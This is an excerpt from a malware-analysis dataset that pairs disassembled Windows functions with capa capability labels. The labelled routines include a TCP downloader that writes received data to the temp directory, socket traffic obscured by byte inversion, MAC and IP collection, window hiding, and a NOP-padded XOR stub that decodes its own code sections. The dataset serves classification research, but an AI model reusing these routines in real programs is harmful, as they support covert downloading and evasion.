joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4030a0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [0x418038]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x210], ax
lea eax, [ebp - 0x20e]
push eax
mov esi, ecx
mov dword [ebp - 0x214], 0
call fcn.00408690
add esp, 0xc
lea eax, [ebp - 0x210]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
movzx ecx, word [ebp - 0x210]
sub ecx, 0x41
lea edx, [ebp - 0x214]
call fcn.00403290
mov ecx, dword [ebp - 0x214]
call fcn.00403380
cmp eax, 0xffffffff
jne 0x403126
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404aaa
mov esp, ebp
pop ebp
ret
mov edx, esi
mov ecx, eax
call fcn.00402f70
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00404aaa
mov esp, ebp
pop ebp
ret

Function at 0x403140
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x220
mov eax, dword [0x418038]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push 0x64
mov ebx, ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1ff
xor esi, esi
lea eax, [ebp - 0x207]
push esi
push eax
mov byte [ebp - 0x208], 0
call fcn.00408690
add esp, 0xc
cmp ebx, 0xffffffff
je 0x4031fc
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x20c]
push eax
push 0x200
lea eax, [ebp - 0x208]
xorps xmm0, xmm0
push eax
movq qword [ebp - 0x21c], xmm0
movq qword [ebp - 0x214], xmm0
push ebx
mov dword [ebp - 0x220], esi
mov dword [ebp - 0x20c], esi
mov dword [ebp - 0x218], esi
mov dword [ebp - 0x214], esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4031fc
mov eax, dword [ebp - 0x42]
add eax, dword [ebp - 0x3e]
mov ecx, dword [ebp - 0xe]
cmovne esi, eax
mov eax, dword [ebp - 0x32]
add eax, dword [ebp - 0x2e]
cmp eax, esi
cmova esi, eax
mov eax, dword [ebp - 0x22]
add eax, dword [ebp - 0x1e]
cmp eax, esi
cmova esi, eax
add ecx, dword [ebp - 0x12]
cmp ecx, esi
cmova esi, ecx
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 4]
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404aaa
mov esp, ebp
pop ebp
ret

Function at 0x403220
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x418038]
xor eax, ebp
mov dword [ebp - 4], eax
xorps xmm0, xmm0
xor eax, eax
push esi
mov esi, dword [ebp + 0xc]
mov dword [ebp - 0x1c], 0
movq qword [ebp - 0x18], xmm0
movq qword [ebp - 0x10], xmm0
mov dword [ebp - 8], 0
cmp ecx, 0xffffffff
je 0x40327a
shld eax, edx, 9
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp + 8]
shl eax, 9
push eax
push esi
shl edx, 9
push ecx
mov dword [ebp - 0x14], edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00404aaa
mov esp, ebp
pop ebp
ret
Function at 0x403470
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x418038]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
mov edi, dword [ebp + 8]
push 0x416d2c
push ecx
lea eax, [ebp - 8]
push eax
mov dword [ebp - 0xc], edx
mov dword [ebp - 8], 0
call fcn.00404e42
add esp, 0xc
test eax, eax
je 0x4034b5
xor eax, eax
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404aaa
mov esp, ebp
pop ebp
ret
push ebx
push esi
push 2
push 0
push dword [ebp - 8]
call fcn.00405c10
push dword [ebp - 8]
call fcn.00405fe8
push 0
push 0
push dword [ebp - 8]
mov esi, eax
call fcn.00405c10
lea eax, [edi + esi]
push eax
mov dword [ebp - 0x10], eax
call fcn.00405ab7
push dword [ebp - 8]
mov ebx, eax
push 1
push esi
push ebx
mov dword [ebp - 0x14], ebx
call fcn.00405114
push dword [ebp - 8]
call fcn.0040522c
push edi
add ebx, esi
push 0
push ebx
call fcn.00408690
mov eax, edi
cdq
and edx, 3
add esp, 0x40
lea edi, [edx + eax]
sar edi, 2
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.00406073
add esp, 4
xor esi, esi
test edi, edi
jle 0x40353d
lea ecx, [ecx]
call fcn.00406050
mov dword [ebx + esi*4], eax
inc esi
cmp esi, edi
jl 0x403530
push 0x416d34
push dword [ebp - 0xc]
lea eax, [ebp - 8]
push eax
call fcn.00404e42
add esp, 0xc
test eax, eax
je 0x403568
pop esi
pop ebx
xor eax, eax
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404aaa
mov esp, ebp
pop ebp
ret
push dword [ebp - 8]
mov esi, dword [ebp - 0x14]
push 1
push dword [ebp - 0x10]
push esi
call fcn.004053fa
push dword [ebp - 8]
call fcn.0040522c
add esp, 0x14
test esi, esi
je 0x403591
push esi
call fcn.00405b49
add esp, 4
mov ecx, dword [ebp - 4]
pop esi
pop ebx
xor ecx, ebp
mov eax, 1
pop edi
call fcn.00404aaa
mov esp, ebp
pop ebp
ret
Function at 0x403ab0
Capabilities:
Get local ipv4 addresses
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x418038]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov eax, 0x3a98
push edi
mov dword [ebp - 0x10], edx
mov dword [ebp - 0xc], ecx
xor ebx, ebx
mov dword [ebp - 8], eax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x403bbd
lea eax, [ebp - 8]
push eax
push esi
push 0
push 0x10
push 2
call dword [sym.imp.IPHLPAPI.DLL_GetAdaptersAddresses]
mov edi, eax
cmp edi, 0x6f
jne 0x403b17
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
xor esi, esi
inc ebx
cmp edi, 0x6f
jne 0x403b27
cmp ebx, 3
jae 0x403b91
mov eax, dword [ebp - 8]
jmp 0x403ad3
test edi, edi
jne 0x403b91
mov eax, esi
test esi, esi
je 0x403b8d
cmp dword [eax + 0x34], 6
jne 0x403b3d
cmp dword [eax + 0x1c], 0
jne 0x403b48
mov eax, dword [eax + 8]
test eax, eax
jne 0x403b31
xor edi, edi
jmp 0x403b96
mov ecx, dword [eax + 0x2c]
mov edx, dword [ebp - 0xc]
mov dword [edx], ecx
mov cx, word [eax + 0x30]
mov word [edx + 4], cx
mov ecx, dword [eax + 0x10]
mov edx, dword [ebp - 0x10]
mov ecx, dword [ecx + 0xc]
movzx ecx, byte [ecx + 4]
mov byte [edx + 3], cl
mov ecx, dword [eax + 0x10]
mov ecx, dword [ecx + 0xc]
movzx ecx, byte [ecx + 5]
mov byte [edx + 2], cl
mov ecx, dword [eax + 0x10]
mov ecx, dword [ecx + 0xc]
movzx ecx, byte [ecx + 6]
mov byte [edx + 1], cl
mov eax, dword [eax + 0x10]
mov eax, dword [eax + 0xc]
mov al, byte [eax + 7]
mov byte [edx], al
xor edi, edi
jmp 0x403b96
mov edi, 0xfffffffd
test esi, esi
je 0x403baa
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, edi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404aaa
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
or eax, 0xffffffff
pop ebx
call fcn.00404aaa
mov esp, ebp
pop ebp
ret
Function at 0x404090
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9b4
mov eax, dword [0x418038]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
push esi
test eax, eax
lea esi, [ebp - 0x808]
cmovne esi, eax
xor eax, eax
push edi
mov edi, dword [ebp + 8]
mov word [esi], ax
mov dword [ebp - 0x80c], eax
lea eax, [ebp - 0x9b0]
push eax
push 0x101
mov dword [ebp - 0x9b4], edx
mov ebx, ecx
xor esi, esi
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x4040f5
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404aaa
mov esp, ebp
pop ebp
ret
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [edi], eax
cmp eax, 0xffffffff
je 0x4040e2
push ebx
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x404135
push ebx
call dword [sym.imp.WS2_32.dll_inet_addr]
push 2
mov dword [ebp - 0x80c], eax
push 4
lea eax, [ebp - 0x80c]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyaddr]
test eax, eax
je 0x40418e
mov eax, dword [eax + 0xc]
push dword [ebp - 0x9b4]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x818], eax
mov eax, 2
mov word [ebp - 0x81c], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x81a], ax
push 0x10
lea eax, [ebp - 0x81c]
push eax
push dword [edi]
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x40418e
mov esi, 1
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404aaa
mov esp, ebp
pop ebp
ret
mov ecx, dword [edi]
test ecx, ecx
je 0x40419d
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [edi], esi
mov ecx, dword [ebp - 4]
pop edi
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404aaa
mov esp, ebp
pop ebp
ret

Function at 0x404320
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
mov eax, ecx
push esi
xor esi, esi
mov ebx, edx
mov dword [ebp - 8], eax
cmp dword [eax], esi
je 0x4043a8
push edi
mov edi, dword [ebp + 8]
xor eax, eax
test edi, edi
jle 0x404348
nop
not byte [eax + ebx]
inc eax
cmp eax, edi
jl 0x404340
lea eax, [edi + 7]
push eax
call fcn.004061d7
mov ecx, eax
lea eax, [edi + 5]
mov word [ecx], ax
mov eax, dword [0x418f10]
mov dword [ecx + 2], eax
mov al, byte [0x418f14]
push edi
mov byte [ecx + 6], al
lea eax, [ecx + 7]
push ebx
push eax
mov dword [ebp - 4], ecx
call fcn.004092f0
mov eax, dword [ebp - 8]
add esp, 0x10
lea ebx, [edi + 7]
mov edi, dword [ebp - 4]
push 0
push ebx
push edi
push dword [eax]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x40439e
mov ecx, 1
cmp eax, ebx
cmove esi, ecx
push edi
call fcn.004065cb
add esp, 4
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4045b0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8dc
mov eax, dword [0x418038]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x8dc], eax
mov eax, dword [ebp + 0xc]
push esi
test eax, eax
lea esi, [ebp - 0x8cc]
cmovne esi, eax
xor eax, eax
mov word [esi], ax
mov esi, dword [ecx]
xor ebx, ebx
mov dword [ebp - 0x8d0], edx
mov dword [ebp - 0x8d8], ecx
test esi, esi
je 0x404721
test edx, edx
je 0x404721
push 0xc7
mov byte [ebp - 0xcc], al
lea eax, [ebp - 0xcb]
push ebx
push eax
call fcn.00408690
add esp, 0xc
lea eax, [ebp - 0xcc]
push ebx
push 2
push eax
push esi
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x404731
test eax, eax
je 0x404731
movzx eax, word [ebp - 0xcc]
mov dword [ebp - 0x8d4], eax
add eax, 2
push edi
push eax
xor esi, esi
call fcn.004061d7
mov edi, eax
mov eax, dword [ebp - 0x8d4]
add esp, 4
test eax, eax
jle 0x404711
lea ebx, [ebx]
push 0
sub eax, esi
push eax
lea eax, [esi + edi]
push eax
mov eax, dword [ebp - 0x8d8]
push dword [eax]
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x40470b
test eax, eax
je 0x40470b
add esi, eax
mov eax, dword [ebp - 0x8d4]
cmp eax, esi
jg 0x404670
cmp esi, 5
jl 0x404711
mov ecx, 0x418f10
sub esi, 5
mov eax, dword [ecx]
cmp eax, dword [edi]
jne 0x404711
movzx eax, byte [ecx + 4]
cmp al, byte [edi + 4]
jne 0x404711
test esi, esi
jle 0x4046c9
lea ecx, [edi + 5]
mov edx, esi
not byte [ecx]
lea ecx, [ecx + 1]
dec edx
jne 0x4046c1
mov ebx, dword [ebp - 0x8dc]
mov eax, dword [ebx]
cmp eax, esi
jl 0x4046f1
push esi
lea eax, [edi + 5]
push eax
push dword [ebp - 0x8d0]
call fcn.004092f0
mov dword [ebx], esi
add esp, 0xc
mov ebx, 1
jmp 0x404711
push eax
lea eax, [edi + 5]
push eax
push dword [ebp - 0x8d0]
call fcn.004092f0
add esp, 0xc
mov ebx, 1
jmp 0x404711
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
test edi, edi
je 0x40471e
push edi
call fcn.004065cb
add esp, 4
mov eax, ebx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404aaa
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
pop esi
mov eax, ebx
xor ecx, ebp
pop ebx
call fcn.00404aaa
mov esp, ebp
pop ebp
ret
Function at 0x404750
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe24
mov eax, dword [0x418038]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x400
lea eax, [ebp - 0x610]
push 0
push eax
mov dword [ebp - 0xe20], edx
mov ebx, ecx
call fcn.00408690
add esp, 0xc
lea eax, [ebp - 0x610]
push ebx
push 0x1ff
push eax
call fcn.00404bef
mov ecx, ebx
add esp, 0xc
lea edx, [ecx + 2]
mov edi, edi
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4047a0
sub ecx, edx
sar ecx, 1
lea edi, [ebp - 0x60e]
mov esi, 0x41a920
lea edi, [edi + ecx*2]
mov ecx, 0x80
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebx + 2]
mov ax, word [ebx]
add ebx, 2
test ax, ax
jne 0x4047c7
sub ebx, ecx
sar ebx, 1
push 0x10000
lea ebx, [ebx*2 + 0x202]
call fcn.00405ab7
add esp, 4
mov esi, eax
push 0x10000
push 0
push esi
call fcn.00408690
add esp, 0xc
xor eax, eax
push 0x7fe
push eax
mov word [ebp - 0xe10], ax
lea eax, [ebp - 0xe0e]
push eax
mov dword [ebp - 0xe1c], 0x10000
call fcn.00408690
add esp, 0xc
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x210], ax
lea eax, [ebp - 0x20e]
xor edi, edi
push eax
mov dword [ebp - 0xe18], 0
mov dword [ebp - 0xe14], edi
call fcn.00408690
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov edx, dword [ebp + 8]
mov ecx, dword [ebp - 0xe20]
lea eax, [ebp - 0xe10]
push eax
lea eax, [ebp - 0xe18]
push eax
call fcn.00404090
add esp, 8
test eax, eax
je 0x40494e
lea eax, [ebp - 0xe10]
push eax
push ebx
lea eax, [ebp - 0x610]
mov ebx, 0xbba
push eax
mov edx, ebx
lea ecx, [ebp - 0xe18]
call fcn.004041b0
add esp, 0xc
test eax, eax
je 0x40494e
lea eax, [ebp - 0xe10]
push eax
lea eax, [ebp - 0xe1c]
push eax
push esi
lea edx, [ebp - 0xe14]
lea ecx, [ebp - 0xe18]
call fcn.004043b0
add esp, 0xc
test eax, eax
je 0x40494e
cmp word [ebp - 0xe14], bx
jne 0x40494e
cmp dword [ebp - 0xe1c], edi
je 0x40494e
cmp byte [esi], 0
jne 0x40494e
push 0x41a1a0
lea eax, [ebp - 0x210]
push 0x104
push eax
call fcn.00404c4b
add esp, 0xc
lea eax, [ebp - 0x210]
push 0x416de4
push eax
lea eax, [ebp - 0xe14]
push eax
mov dword [ebp - 0xe14], edi
call fcn.00404e42
add esp, 0xc
cmp dword [ebp - 0xe14], edi
je 0x404949
lea edx, [ebp - 0xe14]
lea ecx, [ebp - 0xe18]
call fcn.00404980
mov edi, 1
test esi, esi
je 0x40495b
push esi
call fcn.00405b49
add esp, 4
mov eax, dword [ebp - 0xe18]
test eax, eax
je 0x40496c
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404aaa
mov esp, ebp
pop ebp
ret
Function at 0x404980
Capabilities:
Download and write a file
Receive and write data from server to client
Receive data
Receive data on socket
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x100c
call fcn.0040b890
mov eax, dword [0x418038]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor edi, edi
push edi
push 4
mov esi, ecx
lea eax, [ebp - 0x1008]
push eax
push dword [esi]
mov ebx, edx
mov dword [ebp - 0x100c], esi
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 4
je 0x4049d0
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404aaa
mov esp, ebp
pop ebp
ret
cmp dword [ebp - 0x1008], edi
jbe 0x404a20
jmp 0x4049e0
push 0
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [esi]
call dword [sym.imp.WS2_32.dll_recv]
mov esi, eax
test esi, esi
je 0x404a20
push dword [ebx]
lea eax, [ebp - 0x1004]
push esi
push 1
push eax
call fcn.004053fa
add edi, esi
mov esi, dword [ebp - 0x100c]
add esp, 0x10
cmp edi, dword [ebp - 0x1008]
jb 0x4049e0
push dword [ebx]
call fcn.0040522c
mov ecx, dword [ebp - 4]
add esp, 4
cmp edi, dword [ebp - 0x1008]
pop edi
sbb eax, eax
pop esi
xor ecx, ebp
inc eax
pop ebx
call fcn.00404aaa
mov esp, ebp
pop ebp
ret
Function at 0x40f527
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x418038]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0xc]
xor edi, edi
push edi
mov dword [ebp - 0x20], eax
call ebx
mov esi, eax
mov dword [ebp - 0x18], esi
call fcn.0040696a
mov dword [ebp - 0x14], eax
cmp dword [0x419d84], edi
jne 0x40f618
push 0x800
push edi
push 0x4135c8
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov esi, eax
test esi, esi
jne 0x40f5a5
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x40f6f8
push 0x4135c8
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
test esi, esi
je 0x40f6f8
push 0x4135e0
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40f6f8
push eax
call ebx
push 0x4135ec
push esi
mov dword [0x419d84], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x4135fc
push esi
mov dword [0x419d88], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x413610
push esi
mov dword [0x419d8c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x419d94], eax
test eax, eax
je 0x40f615
push 0x41362c
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x419d90], eax
mov esi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x40f63d
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x40f630
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], edi
je 0x40f652
push 4
pop eax
jmp 0x40f6fa
cmp dword [ebp - 0x14], edi
je 0x40f652
push dword [0x419d84]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x40f637
mov eax, dword [0x419d90]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, esi
je 0x40f6b0
cmp dword [0x419d94], esi
je 0x40f6b0
push eax
call ebx
push dword [0x419d94]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x40f6b0
test eax, eax
je 0x40f6b0
call ecx
test eax, eax
je 0x40f6a5
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x40f6a5
test byte [ebp - 8], 1
jne 0x40f6b0
mov esi, dword [ebp + 0x10]
or esi, 0x200000
jmp 0x40f6e0
mov eax, dword [0x419d88]
cmp eax, esi
je 0x40f6dd
push eax
call ebx
test eax, eax
je 0x40f6dd
call eax
mov edi, eax
test edi, edi
je 0x40f6dd
mov eax, dword [0x419d8c]
cmp eax, esi
je 0x40f6dd
push eax
call ebx
test eax, eax
je 0x40f6dd
push edi
call eax
mov edi, eax
mov esi, dword [ebp + 0x10]
push dword [0x419d84]
call ebx
test eax, eax
je 0x40f6f8
push esi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push edi
call eax
jmp 0x40f6fa
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404aaa
leave
ret
Function at 0x42e000
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x407ef8
nop
mov ecx, 0x1961611c
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x42e04e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x42e024
nop
mov eax, section..data
nop
nop
mov ebx, 0x42cd70
mov ecx, 0x13df6f08
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x42e084
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x42e06c
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x401206
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov eax, edx
mov ebx, ecx
xor edi, edi
xor edx, edx
push 0xa
pop ecx
div ecx
add dl, 0x30
mov byte [edi + ebx], dl
inc edi
test eax, eax
jne 0x401212
mov ecx, dword [ebp + 8]
movsx eax, cx
cmp eax, edi
jle 0x40124a
sub ecx, edi
test cx, cx
jle 0x40124a
movzx esi, cx
lea eax, [edi + ebx]
push esi
push dword [ebp + 0xc]
push eax
call fcn.0042c7b0
add esp, 0xc
add edi, esi
xor edx, edx
lea esi, [edi + ebx]
dec edi
mov byte [esi], dl
test edi, edi
jle 0x40126e
mov al, byte [edi + ebx]
xor byte [edx + ebx], al
mov al, byte [edx + ebx]
xor byte [edi + ebx], al
mov cl, byte [edi + ebx]
xor byte [edx + ebx], cl
inc edx
dec edi
cmp edx, edi
jl 0x401256
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret

Function at 0x4018a9
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
mov ebx, dword [ebp + 8]
xor eax, eax
push esi
mov esi, ecx
mov dword [ebp - 4], edx
mov edx, dword [ebp + 0xc]
push edi
mov dword [ebp - 8], esi
mov edi, eax
push ebx
push eax
push 0xa
push edx
push ebx
call fcn.00439d20
mov dword [ebp + 0xc], ebx
pop ebx
add cl, 0x30
mov ebx, eax
mov byte [edi + esi], cl
inc edi
or eax, edx
push 0
pop eax
jne 0x4018c3
mov ecx, dword [ebp - 4]
test cx, cx
je 0x401909
sub ecx, edi
test cx, cx
jle 0x401909
lea eax, [edi + esi]
movzx esi, cx
push esi
push dword [ebp + 0x10]
push eax
call fcn.0042c7b0
add esp, 0xc
add edi, esi
mov esi, dword [ebp - 8]
xor edx, edx
lea ebx, [edi + esi]
dec edi
mov byte [ebx], dl
test edi, edi
jle 0x40192d
mov al, byte [edi + esi]
xor byte [edx + esi], al
mov al, byte [edx + esi]
xor byte [edi + esi], al
mov cl, byte [edi + esi]
xor byte [edx + esi], cl
inc edx
dec edi
cmp edx, edi
jl 0x401915
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402abc
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
cmp byte [0x484a74], 0
push esi
mov byte [ebp - 1], dl
mov esi, ecx
jne 0x402ce5
mov eax, dword [0x44e4c8]
push ebx
mov ebx, dword [sym.imp.USER32.dll_GetSystemMetrics]
push edi
mov dword [0x44e4c8], esi
mov edi, dword [esi*8 + 0x44e4d8]
mov dword [ebp - 0x10], eax
mov eax, dword [esi*8 + 0x44e4d4]
push 0xb
mov byte [0x484a74], 1
mov dword [ebp - 0xc], eax
call ebx
add eax, eax
push 0xc
mov dword [ebp - 8], eax
call ebx
mov ebx, eax
cmp esi, 2
jne 0x402b45
cmp dword [ebp - 0x10], esi
je 0x402b37
xor dl, dl
call fcn.00402a75
mov ebx, dword [sym.imp.USER32.dll_GetSystemMetrics]
push 4
call ebx
push 8
sub edi, eax
call ebx
sub edi, eax
mov ebx, edi
cmp edi, ebx
jge 0x402b52
mov edi, ebx
mov dword [0x44e4e8], ebx
jmp 0x402b52
cmp dword [ebp - 0x10], 2
jne 0x402b52
mov dl, 1
call fcn.00402a75
mov eax, dword [0x4615ec]
mov edx, dword [ebp - 8]
sub eax, edx
mov ecx, dword [0x44e4cc]
cmp ecx, eax
cmovg ecx, eax
sub edx, dword [ebp - 0xc]
mov eax, dword [0x4615f0]
cmp ecx, edx
cmovge edx, ecx
mov ecx, dword [0x44e4d0]
sub eax, ebx
mov dword [ebp - 8], edx
cmp ecx, eax
mov dword [0x44e4cc], edx
cmovg ecx, eax
sub ebx, edi
cmp ecx, ebx
cmovge ebx, ecx
mov ecx, esi
mov dword [0x44e4d0], ebx
call fcn.00402952
mov eax, dword [ebp - 8]
push 4
push edi
push dword [ebp - 0xc]
push ebx
push eax
push 0
push dword [0x46159c]
call dword [sym.imp.USER32.dll_SetWindowPos]
cmp esi, 2
je 0x402cb5
mov eax, dword [0x461318]
sub edi, dword [0x4615f4]
add eax, eax
mov ebx, dword [ebp - 0xc]
sub edi, dword [0x4615e0]
sub ebx, eax
sub esi, 0
je 0x402c8f
sub esi, 1
je 0x402c55
dec esi
sub esi, 1
jne 0x402cb5
push esi
push dword [0x4615a0]
mov esi, dword [sym.imp.USER32.dll_ShowWindow]
call esi
push 4
push edi
push ebx
push dword [0x461614]
push dword [0x461610]
push 0
push dword [0x4615b0]
call dword [sym.imp.USER32.dll_SetWindowPos]
cmp byte [0x44a6e8], 0
je 0x402c44
mov eax, dword [0x44a6ec]
test eax, eax
je 0x402c44
push 1
dec eax
push eax
push 0x1013
push dword [0x4615b0]
call dword [sym.imp.USER32.dll_SendMessageA]
or dword [0x4615d8], 2
push 5
push dword [0x4615b0]
jmp 0x402c8b
mov esi, dword [sym.imp.USER32.dll_ShowWindow]
push 0
push dword [0x4615b0]
call esi
push 4
push edi
push ebx
push dword [0x461614]
push dword [0x461610]
push 0
push dword [0x4615a0]
call dword [sym.imp.USER32.dll_SetWindowPos]
push 5
push dword [0x4615a0]
call esi
jmp 0x402cb5
mov esi, dword [sym.imp.USER32.dll_ShowWindow]
push 0
push dword [0x4615a0]
call esi
push 0
push dword [0x4615b0]
call esi
mov dword [0x461618], ebx
mov dword [0x46161c], edi
mov eax, dword [0x4615a4]
pop edi
pop ebx
test eax, eax
je 0x402cd3
push 0x190
push 0
push 0x418
push eax
call dword [sym.imp.USER32.dll_SendMessageA]
cmp byte [ebp - 1], 0
je 0x402cde
call fcn.0040bd68
mov byte [0x484a74], 0
pop esi
mov esp, ebp
pop ebp
ret